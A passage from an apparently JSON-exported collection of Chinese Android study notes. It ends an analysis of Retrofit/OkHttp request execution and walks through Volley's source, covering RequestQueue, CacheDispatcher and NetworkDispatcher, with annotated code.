client.dispatcher().finished(this);\n      }\n    }\n```\n\n接着看一下`RealCall.getResponseWithInterceptorChain()`:    \n\n```java\nprivate Response getResponseWithInterceptorChain(boolean forWebSocket) throws IOException {\n    Interceptor.Chain chain = new ApplicationInterceptorChain(0, originalRequest, forWebSocket);\n    return chain.proceed(originalRequest);\n  }\n\n  class ApplicationInterceptorChain implements Interceptor.Chain {\n    private final int index;\n    private final Request request;\n    private final boolean forWebSocket;\n\n    ApplicationInterceptorChain(int index, Request request, boolean forWebSocket) {\n      this.index = index;\n      this.request = request;\n      this.forWebSocket = forWebSocket;\n    }\n\n    @Override public Connection connection() {\n      return null;\n    }\n\n    @Override public Request request() {\n      return request;\n    }\n\n    @Override public Response proceed(Request request) throws IOException {\n      // If there's another interceptor in the chain, call that.\n      if (index < client.interceptors().size()) {\n        Interceptor.Chain chain = new ApplicationInterceptorChain(index + 1, request, forWebSocket);\n        Interceptor interceptor = client.interceptors().get(index);\n        Response interceptedResponse = interceptor.intercept(chain);\n\n        if (interceptedResponse == null) {\n          throw new NullPointerException(\"application interceptor \" + interceptor\n              + \" returned null\");\n        }\n\n        return interceptedResponse;\n      }\n\n      // No more interceptors. Do HTTP.\n      return getResponse(request, forWebSocket);\n    }\n  }\n```\n\n又会调用`getResponse()`方法：    \n```java\n/**\n   * Performs the request and returns the response. May return null if this call was canceled.\n   */\n  Response getResponse(Request request, boolean forWebSocket) throws IOException {\n    // Copy body metadata to the appropriate request headers.\n    RequestBody body = request.body();\n    if (body != null) {\n      Request.Builder requestBuilder = request.newBuilder();\n\n      MediaType contentType = body.contentType();\n      if (contentType != null) {\n        requestBuilder.header(\"Content-Type\", contentType.toString());\n      }\n\n      long contentLength = body.contentLength();\n      if (contentLength != -1) {\n        requestBuilder.header(\"Content-Length\", Long.toString(contentLength));\n        requestBuilder.removeHeader(\"Transfer-Encoding\");\n      } else {\n        requestBuilder.header(\"Transfer-Encoding\", \"chunked\");\n        requestBuilder.removeHeader(\"Content-Length\");\n      }\n\n      request = requestBuilder.build();\n    }\n\n    // Create the initial HTTP engine. Retries and redirects need new engine for each attempt.\n    engine = new HttpEngine(client, request, false, false, forWebSocket, null, null, null);\n\n    int followUpCount = 0;\n    while (true) {\n      if (canceled) {\n        engine.releaseStreamAllocation();\n        throw new IOException(\"Canceled\");\n      }\n\n      boolean releaseConnection = true;\n      try {\n        engine.sendRequest();\n        engine.readResponse();\n        releaseConnection = false;\n      } catch (RequestException e) {\n        // The attempt to interpret the request failed. Give up.\n        throw e.getCause();\n      } catch (RouteException e) {\n        // The attempt to connect via a route failed. The request will not have been sent.\n        HttpEngine retryEngine = engine.recover(e.getLastConnectException(), true, null);\n        if (retryEngine != null) {\n          releaseConnection = false;\n          engine = retryEngine;\n          continue;\n        }\n        // Give up; recovery is not possible.\n        throw e.getLastConnectException();\n      } catch (IOException e) {\n        // An attempt to communicate with a server failed. The request may have been sent.\n        HttpEngine retryEngine = engine.recover(e, false, null);\n        if (retryEngine != null) {\n          releaseConnection = false;\n          engine = retryEngine;\n          continue;\n        }\n\n        // Give up; recovery is not possible.\n        throw e;\n      } finally {\n        // We're throwing an unchecked exception. Release any resources.\n        if (releaseConnection) {\n          StreamAllocation streamAllocation = engine.close();\n          streamAllocation.release();\n        }\n      }\n\n      Response response = engine.getResponse();\n      Request followUp = engine.followUpRequest();\n\n      if (followUp == null) {\n        if (!forWebSocket) {\n          engine.releaseStreamAllocation();\n        }\n        return response;\n      }\n\n      StreamAllocation streamAllocation = engine.close();\n\n      if (++followUpCount > MAX_FOLLOW_UPS) {\n        streamAllocation.release();\n        throw new ProtocolException(\"Too many follow-up requests: \" + followUpCount);\n      }\n\n      if (!engine.sameConnection(followUp.url())) {\n        streamAllocation.release();\n        streamAllocation = null;\n      } else if (streamAllocation.stream() != null) {\n        throw new IllegalStateException(\"Closing the body of \" + response\n            + \" didn't close its backing stream. Bad interceptor?\");\n      }\n\n      request = followUp;\n      engine = new HttpEngine(client, request, false, false, forWebSocket, streamAllocation, null,\n          response);\n    }\n  }\n```\n\n完了没有？ 完了....\n\n\n上面只是简单的分析了下大体的调用流程和主要的类，但是好像并没有什么乱用，因为没有具体的去分析里面各部分的实现，如果都分析下来内容太多了。这里就不仔细看了，大体总结一下。    \n\n通过上面的分析，最终的网络请求是在`OkHttp`的`Call`中去执行，也就是说`Retrofit`其实是将一个`Java`接口通过注解等方式来解析参数等然后转换成一个请求交给`OkHttp`去执行，然后将执行结果进行解析转换暴露给上层调用者。 \n而这一切是如何实现的呢？ \n`Retrofit`非常巧妙的用注解来描述一个`HTTP`请求，将一个`HTTP`请求抽象成一个`Java`接口，然后用了`动态代理`的方式，动态的将这个接口的注解转换成一个`HTTP`请求，然后再将这个`Http`请求交给`OkHttp`执行。\n\n动态代理用的太妙，而它的过程中也使用了大量的工厂模式，这里就不分析了。\n\n\n参考:   \n- [simple-http-retrofit-2](https://realm.io/news/droidcon-jake-wharton-simple-http-retrofit-2)\n- [Retrofit API](http://square.github.io/retrofit/2.x/retrofit/)\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Netowork/Volley源码分析.md",
    "content": "Volley源码分析\n---\n\n- Volley简介    \n\n    [volley官方地址](https://android.googlesource.com/platform/frameworks/volley)                                                   \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/volley.png?raw=true)                   \n\n    在`Google I/0 2013`中发布了`Volley`.`Volley`是`Android`平台上的网络通信库，能使网络通信更快，更简单，更健壮。\n\n    这是`Volley`名称的由来:`a burst or emission of many things or a large amount at once`.`Volley`特别适合数据量不大但是通信频繁的场景。   \n\n    `Github`上面已经有大神做了镜像，使用`Gradle`更方便。[Volley On Github](https://github.com/mcxiaoke/android-volley)            \n\n- Volley使用                   \n    `Volley`的使用非常方便。\n    - 首先就是要构建一个`RequestQueue`的请求队列，它可以缓存所有`Http`请求，内部处理的非常完善，通常我们整个应用只需要一个`RequestQueue`对象即可。\n    - 创建`StringRequest`对象，并且传入相应的请求地址以及添加请求成功和失败的回调方法。这一步的意思就是创建一个新的网络请求。\n    - 将刚才新创建的`StringRequest`对象加入到`RequestQueue`队列中。这样就相当于会去执行该请求。等到执行成功后就可以在`StringRequest`中设置的回调方法里面获取到相应的结果。      \n    总结一下，其实挺像我们浏览器的操作，第一步打开浏览器，第二步输入`URL`地址第三步按回车去执行。    \n\n    ```java\n    public class HttpUtil {\n        private static HttpUtil instance;\n        private RequestQueue mQueue;\n    \n        private HttpUtil(Context context) {\n            mQueue = Volley.newRequestQueue(context);\n        }\n    \n        public static synchronized HttpUtil getInstance(Context context) {\n            if (instance == null) {\n                instance = new HttpUtil(context.getApplicationContext());\n            }\n            return instance;\n        }\n    \n        public Request sendGetRequest(String url, final HttpListener listener) {\n            StringRequest stringRequest = new StringRequest(url, new Response.Listener<String>() {\n                @Override\n                public void onResponse(String response) {\n                    if (listener != null) {\n                        listener.onResponse(response);\n                    }\n                }\n            }, new Response.ErrorListener() {\n                @Override\n                public void onErrorResponse(VolleyError error) {\n                    if (listener != null) {\n                        listener.onErrorResponse(error);\n                    }\n                }\n            });\n            mQueue.add(stringRequest);\n            return stringRequest;\n        }\n    \n        public Request sendPostRequest(String url, final Map<String, String> map, final HttpListener listener) {\n            final StringRequest stringRequest = new StringRequest(Request.Method.POST, url, new Response.Listener<String>() {\n                @Override\n                public void onResponse(String response) {\n                    if (listener != null) {\n                        listener.onResponse(response);\n                    }\n    \n                }\n            }, new Response.ErrorListener() {\n                @Override\n                public void onErrorResponse(VolleyError error) {\n                    if (listener != null) {\n                        listener.onErrorResponse(error);\n                    }\n                }\n            }) {\n                @Override\n                protected Map<String, String> getParams() throws AuthFailureError {\n                    return map;\n                }\n            };\n            mQueue.add(stringRequest);\n            return stringRequest;\n        }\n    \n        /**\n         * Response listener of HttpUtil.\n         */\n        public interface HttpListener {\n    \n            void onResponse(String response);\n    \n            void onErrorResponse(VolleyError error);\n        }\n    }\n    ```\n\n到这里我们就简单的介绍了它的使用，当然还有一些其他的`Request`对象例如`JsonRequest`等，他们的使用方法都是一样的，这里就不再说明了。当然`Volley`里面还提供了对图片的处理，例如`NetworkImageView`空间和`ImageRequest`等，因为这里图片用到的不太多，所以暂时不去分析了。\n\n\n接下来我们就从源码的角度去分析一下：      \n这里我们都知道使用的时候最新要初始化一个`RequestQueue`所以，我们首先看一下`Volley.newRequestQueue`方法。\n```java\n\npublic class Volley {\n\n    /** Default on-disk cache directory. */\n    private static final String DEFAULT_CACHE_DIR = \"volley\";\n\n    /**\n     * Creates a default instance of the worker pool and calls {@link RequestQueue#start()} on it.\n     * You may set a maximum size of the disk cache in bytes.\n     *\n     * @param context A {@link Context} to use for creating the cache dir.\n     * @param stack An {@link HttpStack} to use for the network, or null for default.\n     * @param maxDiskCacheBytes the maximum size of the disk cache, in bytes. Use -1 for default size.\n     * @return A started {@link RequestQueue} instance.\n     */\n    public static RequestQueue newRequestQueue(Context context, HttpStack stack, int maxDiskCacheBytes) {\n        File cacheDir = new File(context.getCacheDir(), DEFAULT_CACHE_DIR);\n\n        String userAgent = \"volley/0\";\n        try {\n            String packageName = context.getPackageName();\n            PackageInfo info = context.getPackageManager().getPackageInfo(packageName, 0);\n            // 使用包名和versionCode作为userAgent\n            userAgent = packageName + \"/\" + info.versionCode;\n        } catch (NameNotFoundException e) {\n        }\n\n        if (stack == null) {\n            if (Build.VERSION.SDK_INT >= 9) {\n                // 在9及以上Volleys使用HttpURLConnection，9一下使用HttpClient。这里是有原因的，因为在9之前HttpURLConnection有Bug。\n                // 那HttpClient那么好为什么不一直使用它，要在9及以后使用HttpURLConnection呢？这里也是有原因的。从9开始HttpURLConnection\n                // 将自动添加`Accept-Encoding:gzip`头字段到`request`请求中，并做相应处理，一般我们请求都是字符串，所以压缩可以使数据大小大幅降低。\n                // 但是这也会带来问题的，之前开发中就遇到过。因为启用了压缩，所以`Content-Lenght`字段返回的是压缩后的大小。使用`getContentLength()`\n                // 方法去分配解压缩后数据大小是错误的。应该从response中读取字节直到`InputStream.read()`返回-1为止。当时我们在开发下载时就遇到过这个\n                // 问题，在下载视频时没有问题，但是在下载小说的时候就会发现`content-length`返回值不对。\n                // 总结一下就是在9之前HttpClient的bug更少，而HttpURLConnection存在严重的Bug。但是从9开始HttpURLConnection更小巧，API更简单，压缩以及\n                // response cache的使用减少了网络流量，提高了网络速度，也就更省电，所以更适合在Android中使用\n                stack = new HurlStack();\n            } else {\n                // Prior to Gingerbread, HttpUrlConnection was unreliable.\n                // See: http://android-developers.blogspot.com/2011/09/androids-http-clients.html\n                stack = new HttpClientStack(AndroidHttpClient.newInstance(userAgent));\n            }\n        }\n        // 创建BasicNetwork对象，下面会介绍BasicNetwork(HttpStack)方法的内部实现\n        Network network = new BasicNetwork(stack);\n        \n        RequestQueue queue;\n        if (maxDiskCacheBytes <= -1)\n        {\n                // 如果不指定大小的话，默认大小为5M\n            // No maximum size specified\n        \tqueue = new RequestQueue(new DiskBasedCache(cacheDir), network);\n        }\n        else\n        {\n        \t// Disk cache size specified\n        \tqueue = new RequestQueue(new DiskBasedCache(cacheDir, maxDiskCacheBytes), network);\n        }\n\n        queue.start();\n\n        return queue;\n    }\n    \n    /**\n     * Creates a default instance of the worker pool and calls {@link RequestQueue#start()} on it.\n     * You may set a maximum size of the disk cache in bytes.\n     *\n     * @param context A {@link Context} to use for creating the cache dir.\n     * @param maxDiskCacheBytes the maximum size of the disk cache, in bytes. Use -1 for default size.\n     * @return A started {@link RequestQueue} instance.\n     */\n    public static RequestQueue newRequestQueue(Context context, int maxDiskCacheBytes) {\n        return newRequestQueue(context, null, maxDiskCacheBytes);\n    }\n    \n    /**\n     * Creates a default instance of the worker pool and calls {@link RequestQueue#start()} on it.\n     *\n     * @param context A {@link Context} to use for creating the cache dir.\n     * @param stack An {@link HttpStack} to use for the network, or null for default.\n     * @return A started {@link RequestQueue} instance.\n     */\n    public static RequestQueue newRequestQueue(Context context, HttpStack stack)\n    {\n    \treturn newRequestQueue(context, stack, -1);\n    }\n    \n    /**\n     * Creates a default instance of the worker pool and calls {@link RequestQueue#start()} on it.\n     *\n     * @param context A {@link Context} to use for creating the cache dir.\n     * @return A started {@link RequestQueue} instance.\n     */\n    public static RequestQueue newRequestQueue(Context context) {\n        return newRequestQueue(context, null);\n    }\n\n}\n\n```\n\n接着来看一上上面提到的new BasicNetwork(HttpStack)方法的实现,可以看到他内部的缓存大小是4k\n```java\nprivate static int DEFAULT_POOL_SIZE = 4096;\n\nprotected final HttpStack mHttpStack;\n\nprotected final ByteArrayPool mPool;\n\n/**\n * @param httpStack HTTP stack to be used\n */\npublic BasicNetwork(HttpStack httpStack) {\n    // If a pool isn't passed in, then build a small default pool that will give us a lot of\n    // benefit and not use too much memory.\n    this(httpStack, new ByteArrayPool(DEFAULT_POOL_SIZE));\n}\n\n/**\n * @param httpStack HTTP stack to be used\n * @param pool a buffer pool that improves GC performance in copy operations\n */\npublic BasicNetwork(HttpStack httpStack, ByteArrayPool pool) {\n    mHttpStack = httpStack;\n    mPool = pool;\n}\n```\n\n接着我们还要分析一下`RequestQueue`的构造方法以及`start()`方法:      \n```java\n/**\n * A request dispatch queue with a thread pool of dispatchers.\n *\n * Calling {@link #add(Request)} will enqueue the given Request for dispatch,\n * resolving from either cache or network on a worker thread, and then delivering\n * a parsed response on the main thread.\n *//**\n * A request dispatch queue with a thread pool of dispatchers.\n *\n * Calling {@link #add(Request)} will enqueue the given Request for dispatch,\n * resolving from either cache or network on a worker thread, and then delivering\n * a parsed response on the main thread.\n */\npublic class RequestQueue {\n\n    /** Used for generating monotonically-increasing sequence numbers for requests. */\n    private AtomicInteger mSequenceGenerator = new AtomicInteger();\n\n    /**\n     * Staging area for requests that already have a duplicate request in flight.\n     *\n     * <ul>\n     *     <li>containsKey(cacheKey) indicates that there is a request in flight for the given cache\n     *          key.</li>\n     *     <li>get(cacheKey) returns waiting requests for the given cache key. The in flight request\n     *          is <em>not</em> contained in that list. Is null if no requests are staged.</li>\n     * </ul>\n     */\n    private final Map<String, Queue<Request<?>>> mWaitingRequests =\n            new HashMap<String, Queue<Request<?>>>();\n\n    /**\n     * The set of all requests currently being processed by this RequestQueue. A Request\n     * will be in this set if it is waiting in any queue or currently being processed by\n     * any dispatcher.\n     */\n    private final Set<Request<?>> mCurrentRequests = new HashSet<Request<?>>();\n\n\t// cache队列\n    /** The cache triage queue. */\n    private final PriorityBlockingQueue<Request<?>> mCacheQueue =\n        new PriorityBlockingQueue<Request<?>>();\n\n\t// 网络请求队列\n    /** The queue of requests that are actually going out to the network. */\n    private final PriorityBlockingQueue<Request<?>> mNetworkQueue =\n        new PriorityBlockingQueue<Request<?>>();\n\n    /** Number of network request dispatcher threads to start. */\n    private static final int DEFAULT_NETWORK_THREAD_POOL_SIZE = 4;\n\n    /** Cache interface for retrieving and storing responses. */\n    private final Cache mCache;\n\n    /** Network interface for performing requests. */\n    private final Network mNetwork;\n\n    /** Response delivery mechanism. */\n    private final ResponseDelivery mDelivery;\n\n    /** The network dispatchers. */\n    private NetworkDispatcher[] mDispatchers;\n\n    /** The cache dispatcher. */\n    private CacheDispatcher mCacheDispatcher;\n\n    /**\n     * Creates the worker pool. Processing will not begin until {@link #start()} is called.\n     *\n     * @param cache A Cache to use for persisting responses to disk\n     * @param network A Network interface for performing HTTP requests\n     * @param threadPoolSize Number of network dispatcher threads to create\n     * @param delivery A ResponseDelivery interface for posting responses and errors\n     */\n    public RequestQueue(Cache cache, Network network, int threadPoolSize,\n            ResponseDelivery delivery) {\n        mCache = cache;\n        mNetwork = network;\n        mDispatchers = new NetworkDispatcher[threadPoolSize];\n        mDelivery = delivery;\n    }\n\n    /**\n     * Creates the worker pool. Processing will not begin until {@link #start()} is called.\n     *\n     * @param cache A Cache to use for persisting responses to disk\n     * @param network A Network interface for performing HTTP requests\n     * @param threadPoolSize Number of network dispatcher threads to create\n     */\n    public RequestQueue(Cache cache, Network network, int threadPoolSize) {\n        this(cache, network, threadPoolSize,\n                new ExecutorDelivery(new Handler(Looper.getMainLooper())));\n    }\n\n    /**\n     * Creates the worker pool. Processing will not begin until {@link #start()} is called.\n     *\n     * @param cache A Cache to use for persisting responses to disk\n     * @param network A Network interface for performing HTTP requests\n     */\n    public RequestQueue(Cache cache, Network network) {\n        // 默认大小为4\n        this(cache, network, DEFAULT_NETWORK_THREAD_POOL_SIZE);\n    }\n\n    /**\n     * Starts the dispatchers in this queue.\n     */\n    public void start() {\n        stop();  // Make sure any currently running dispatchers are stopped.\n        // Create the cache dispatcher and start it.\n        // 初始化RequestQueue之后就会调用start方法，内部会开启CacheDispatcher,也是Thread的子类，后面再看里面具体的run方法\n        mCacheDispatcher = new CacheDispatcher(mCacheQueue, mNetworkQueue, mCache, mDelivery);\n        mCacheDispatcher.start();\n\n        // Create network dispatchers (and corresponding threads) up to the pool size.\n        for (int i = 0; i < mDispatchers.length; i++) {\n            // 创建4个(默认是4个)NetworkDispatcher一直去执行, NetworkDispatcher是Thread的子类，他会不断的去从mNetworkQueue中取出Requet并用\n            // 并用mNetwork去执行，执行完成后再使用mDelivery去分发相应的结果\n            NetworkDispatcher networkDispatcher = new NetworkDispatcher(mNetworkQueue, mNetwork,\n                    mCache, mDelivery);\n            mDispatchers[i] = networkDispatcher;\n            networkDispatcher.start();\n        }\n        // 就好像一个工厂一启动，里面就分配了5个搬运工，一个负责搬运cache里面的的请求，4个负责搬运network中的。启动后他们就开始待命\n        // 一旦有活来了，就开始去取出活开始干。\n\n    }\n\n    /**\n     * Stops the cache and network dispatchers.\n     */\n    public void stop() {\n        if (mCacheDispatcher != null) {\n            mCacheDispatcher.quit();\n        }\n        for (int i = 0; i < mDispatchers.length; i++) {\n            if (mDispatchers[i] != null) {\n                mDispatchers[i].quit();\n            }\n        }\n    }\n\n    /**\n     * Gets a sequence number.\n     */\n    public int getSequenceNumber() {\n        return mSequenceGenerator.incrementAndGet();\n    }\n\n    /**\n     * Gets the {@link Cache} instance being used.\n     */\n    public Cache getCache() {\n        return mCache;\n    }\n\n    /**\n     * A simple predicate or filter interface for Requests, for use by\n     * {@link RequestQueue#cancelAll(RequestFilter)}.\n     */\n    public interface RequestFilter {\n        public boolean apply(Request<?> request);\n    }\n\n    /**\n     * Cancels all requests in this queue for which the given filter applies.\n     * @param filter The filtering function to use\n     */\n    public void cancelAll(RequestFilter filter) {\n        synchronized (mCurrentRequests) {\n            for (Request<?> request : mCurrentRequests) {\n                if (filter.apply(request)) {\n                    request.cancel();\n                }\n            }\n        }\n    }\n\n    /**\n     * Cancels all requests in this queue with the given tag. Tag must be non-null\n     * and equality is by identity.\n     */\n    public void cancelAll(final Object tag) {\n        if (tag == null) {\n            throw new IllegalArgumentException(\"Cannot cancelAll with a null tag\");\n        }\n        cancelAll(new RequestFilter() {\n            @Override\n            public boolean apply(Request<?> request) {\n                return request.getTag() == tag;\n            }\n        });\n    }\n\n    /**\n     * Adds a Request to the dispatch queue.\n     * @param request The request to service\n     * @return The passed-in request\n     */\n    public <T> Request<T> add(Request<T> request) {\n        // Tag the request as belonging to this queue and add it to the set of current requests.\n        request.setRequestQueue(this);\n        synchronized (mCurrentRequests) {\n            // 添加到mCurrentRequests中，在执行完后的finish方法中会去移除该请求。\n            mCurrentRequests.add(request);\n        }\n\n        // Process requests in the order they are added.\n        request.setSequence(getSequenceNumber());\n        request.addMarker(\"add-to-queue\");\n\n        // 判断一下该请求能否进行缓存，如果不能缓存就直接添加到网络请求的队列中。这个能不能缓存是怎么判断的？其实就是根据Request中的一个变量来判断。\n　　　　// 默认情况下所有的请求都是可以缓存的，可以通过Request.setShouldCache(false)方法，来将其设置为不可缓存状态。\n        // If the request is uncacheable, skip the cache queue and go straight to the network.\n        if (!request.shouldCache()) {\n            mNetworkQueue.add(request);\n            return request;\n        }\n\n        // Insert request into stage if there's already a request with the same cache key in flight.\n        synchronized (mWaitingRequests) {\n            String cacheKey = request.getCacheKey();\n            if (mWaitingRequests.containsKey(cacheKey)) {\n                // There is already a request in flight. Queue up.\n                Queue<Request<?>> stagedRequests = mWaitingRequests.get(cacheKey);\n                if (stagedRequests == null) {\n                    stagedRequests = new LinkedList<Request<?>>();\n                }\n                stagedRequests.add(request);\n                mWaitingRequests.put(cacheKey, stagedRequests);\n                if (VolleyLog.DEBUG) {\n                    VolleyLog.v(\"Request for cacheKey=%s is in flight, putting on hold.\", cacheKey);\n                }\n            } else {\n                // 如果能缓存，并且缓存线程中没有的时候就讲该请求添加到缓存队列中\n                // Insert 'null' queue for this cacheKey, indicating there is now a request in\n                // flight.\n                mWaitingRequests.put(cacheKey, null);\n                mCacheQueue.add(request);\n            }\n            return request;\n        }\n    }\n\n    /**\n     * Called from {@link Request#finish(String)}, indicating that processing of the given request\n     * has finished.\n     *\n     * <p>Releases waiting requests for <code>request.getCacheKey()</code> if\n     *      <code>request.shouldCache()</code>.</p>\n     */\n    void finish(Request<?> request) {\n        // Remove from the set of requests currently being processed.\n        synchronized (mCurrentRequests) {\n            mCurrentRequests.remove(request);\n        }\n\n        if (request.shouldCache()) {\n            synchronized (mWaitingRequests) {\n                String cacheKey = request.getCacheKey();\n                Queue<Request<?>> waitingRequests = mWaitingRequests.remove(cacheKey);\n                if (waitingRequests != null) {\n                    if (VolleyLog.DEBUG) {\n                        VolleyLog.v(\"Releasing %d waiting requests for cacheKey=%s.\",\n                                waitingRequests.size(), cacheKey);\n                    }\n                    // Process all queued up requests. They won't be considered as in flight, but\n                    // that's not a problem as the cache has been primed by 'request'.\n                    mCacheQueue.addAll(waitingRequests);\n                }\n            }\n        }\n    }\n}\n```\n\n看到这里基本都能看的差不多了。官方文档中有句话说的很好，这里用他来总结一下`A RequestQueue needs two things to do its job: a network to perform transport of the requests, and a cache to handle caching. `\n顺便再上一张图:       \n \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/volley-request.png?raw=true)                   \n\n总结完之后我们接着进行分析。因为默认情况下请求都是可缓存的，所以都会被添加到mCacheQueue中。添加该队列之后，就会被开始`start`方法所制定的cache搬运工去执行，所以我们要看一下CacheDispatcher的实现。\n```java\n/**\n * Provides a thread for performing cache triage on a queue of requests.\n *\n * Requests added to the specified cache queue are resolved from cache.\n * Any deliverable response is posted back to the caller via a\n * {@link ResponseDelivery}.  Cache misses and responses that require\n * refresh are enqueued on the specified network queue for processing\n * by a {@link NetworkDispatcher}.\n */\npublic class CacheDispatcher extends Thread {\n\n    private static final boolean DEBUG = VolleyLog.DEBUG;\n\n    /** The queue of requests coming in for triage. */\n    private final BlockingQueue<Request<?>> mCacheQueue;\n\n    /** The queue of requests going out to the network. */\n    private final BlockingQueue<Request<?>> mNetworkQueue;\n\n    /** The cache to read from. */\n    private final Cache mCache;\n\n    /** For posting responses. */\n    private final ResponseDelivery mDelivery;\n\n    /** Used for telling us to die. */\n    private volatile boolean mQuit = false;\n\n    /**\n     * Creates a new cache triage dispatcher thread.  You must call {@link #start()}\n     * in order to begin processing.\n     *\n     * @param cacheQueue Queue of incoming requests for triage\n     * @param networkQueue Queue to post requests that require network to\n     * @param cache Cache interface to use for resolution\n     * @param delivery Delivery interface to use for posting responses\n     */\n    public CacheDispatcher(\n            BlockingQueue<Request<?>> cacheQueue, BlockingQueue<Request<?>> networkQueue,\n            Cache cache, ResponseDelivery delivery) {\n        // 将CacheQueue以及networkQueue等传递进来。\n        mCacheQueue = cacheQueue;\n        mNetworkQueue = networkQueue;\n        mCache = cache;\n        mDelivery = delivery;\n    }\n\n    /**\n     * Forces this dispatcher to quit immediately.  If any requests are still in\n     * the queue, they are not guaranteed to be processed.\n     */\n    public void quit() {\n        mQuit = true;\n        interrupt();\n    }\n\n    @Override\n    public void run() {\n        if (DEBUG) VolleyLog.v(\"start new dispatcher\");\n        Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND);\n\n        // Make a blocking call to initialize the cache.\n    /**\n     * Performs any potentially long-running actions needed to initialize the cache;\n     * will be called from a worker thread.\n     */\n        mCache.initialize();\n\n        while (true) {\n            try {\n                // 从缓存队列中取出第一个请求\n                // Get a request from the cache triage queue, blocking until\n                // at least one is available.\n                final Request<?> request = mCacheQueue.take();\n                request.addMarker(\"cache-queue-take\");\n\n                // If the request has been canceled, don't bother dispatching it.\n                if (request.isCanceled()) {\n                    request.finish(\"cache-discard-canceled\");\n                    continue;\n                }\n\n                // Attempt to retrieve this item from cache.\n                Cache.Entry entry = mCache.get(request.getCacheKey());\n                if (entry == null) {\n                    // 如果缓存中找不到该请求，就把该请求添加到网络请求队列中。\n                    request.addMarker(\"cache-miss\");\n                    // Cache miss; send off to the network dispatcher.\n                    mNetworkQueue.put(request);\n                    continue;\n                }\n                // 如果缓存中找到了该请求，接下来就判断该缓存是否过期。\n                // If it is completely expired, just send it to the network.\n                if (entry.isExpired()) {\n                    // 过期了也重新添加到网络请求中\n                    request.addMarker(\"cache-hit-expired\");\n                    request.setCacheEntry(entry);\n                    mNetworkQueue.put(request);\n                    continue;\n                }\n                // 没有过期，就不用再请求了，直接从缓存中取出数据返回即可。\n                // We have a cache hit; parse its data for delivery back to the request.\n                request.addMarker(\"cache-hit\");\n                // 这里的意思就是对数据进行解析，后面再看Request.parseNetworkResponse方法。\n                Response<?> response = request.parseNetworkResponse(\n                        new NetworkResponse(entry.data, entry.responseHeaders));\n                request.addMarker(\"cache-hit-parsed\");\n\t\t// 判断缓存数据是否需要刷新，以便使用mDelivery分发结果或者添加到网络请求队列中\n                if (!entry.refreshNeeded()) {\n                    // Completely unexpired cache hit. Just deliver the response.\n                    mDelivery.postResponse(request, response);\n                } else {\n                    // Soft-expired cache hit. We can deliver the cached response,\n                    // but we need to also send the request to the network for\n                    // refreshing.\n                    request.addMarker(\"cache-hit-refresh-needed\");\n                    request.setCacheEntry(entry);\n\n                    // Mark the response as intermediate.\n                    response.intermediate = true;\n\n                    // Post the intermediate response back to the user and have\n                    // the delivery then forward the request along to the network.\n                    mDelivery.postResponse(request, response, new Runnable() {\n                        @Override\n                        public void run() {\n                            try {\n                                mNetworkQueue.put(request);\n                            } catch (InterruptedException e) {\n                                // Not much we can do about this.\n                            }\n                        }\n                    });\n                }\n\n            } catch (InterruptedException e) {\n                // We may have been interrupted because it was time to quit.\n                if (mQuit) {\n                    return;\n                }\n                continue;\n            }\n        }\n    }\n}\n\n```\n\n而对于网络请求队列中的任务该如何执行，这里就要看`NetworkDispatcher`的具体实现:        \n\n```java\n/**\n * Provides a thread for performing network dispatch from a queue of requests.\n *\n * Requests added to the specified queue are processed from the network via a\n * specified {@link Network} interface. Responses are committed to cache, if\n * eligible, using a specified {@link Cache} interface. Valid responses and\n * errors are posted back to the caller via a {@link ResponseDelivery}.\n */\npublic class NetworkDispatcher extends Thread {\n    /** The queue of requests to service. */\n    private final BlockingQueue<Request<?>> mQueue;\n    /** The network interface for processing requests. */\n    private final Network mNetwork;\n    /** The cache to write to. */\n    private final Cache mCache;\n    /** For posting responses and errors. */\n    private final ResponseDelivery mDelivery;\n    /** Used for telling us to die. */\n    private volatile boolean mQuit = false;\n\n    /**\n     * Creates a new network dispatcher thread.  You must call {@link #start()}\n     * in order to begin processing.\n     *\n     * @param queue Queue of incoming requests for triage\n     * @param network Network interface to use for performing requests\n     * @param cache Cache interface to use for writing responses to cache\n     * @param delivery Delivery interface to use for posting responses\n     */\n    public NetworkDispatcher(BlockingQueue<Request<?>> queue,\n            Network network, Cache cache,\n            ResponseDelivery delivery) {\n        mQueue = queue;\n        mNetwork = network;\n        mCache = cache;\n        mDelivery = delivery;\n    }\n\n    /**\n     * Forces this dispatcher to quit immediately.  If any requests are still in\n     * the queue, they are not guaranteed to be processed.\n     */\n    public void quit() {\n        mQuit = true;\n        interrupt();\n    }\n\n    @TargetApi(Build.VERSION_CODES.ICE_CREAM_SANDWICH)\n    private void addTrafficStatsTag(Request<?> request) {\n        // Tag the request (if API >= 14)\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH) {\n            TrafficStats.setThreadStatsTag(request.getTrafficStatsTag());\n        }\n    }\n\n    @Override\n    public void run() {\n        Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND);\n        while (true) {\n            long startTimeMs = SystemClock.elapsedRealtime();\n            Request<?> request;\n            try {\n                // Take a request from the queue.\n                request = mQueue.take();\n            } catch (InterruptedException e) {\n                // We may have been interrupted because it was time to quit.\n                if (mQuit) {\n                    return;\n                }\n                continue;\n            }\n\n            try {\n                request.addMarker(\"network-queue-take\");\n\n                // If the request was cancelled already, do not perform the\n                // network request.\n                if (request.isCanceled()) {\n                    request.finish(\"network-discard-cancelled\");\n                    continue;\n                }\n\n                addTrafficStatsTag(request);\n                // mNetwork会去执行对应的request请求，后面再看里面的具体实现\n                // Perform the network request.\n                NetworkResponse networkResponse = mNetwork.performRequest(request);\n                request.addMarker(\"network-http-complete\");\n\n                // If the server returned 304 AND we delivered a response already,\n                // we're done -- don't deliver a second identical response.\n                if (networkResponse.notModified && request.hasHadResponseDelivered()) {\n                    request.finish(\"not-modified\");\n                    continue;\n                }\n                // 将网络请求返回的NetworkResponse交给request.parseNetworkResponse进行处理\n                // Parse the response here on the worker thread.\n                Response<?> response = request.parseNetworkResponse(networkResponse);\n                request.addMarker(\"network-parse-complete\");\n\n                // Write to cache if applicable.\n                // TODO: Only update cache metadata instead of entire record for 304s.\n                if (request.shouldCache() && response.cacheEntry != null) {\n                    mCache.put(request.getCacheKey(), response.cacheEntry);\n                    request.addMarker(\"network-cache-written\");\n                }\n\n                // Post the response back.\n                request.markDelivered();\n                // mDelivery进行分发\n                mDelivery.postResponse(request, response);\n            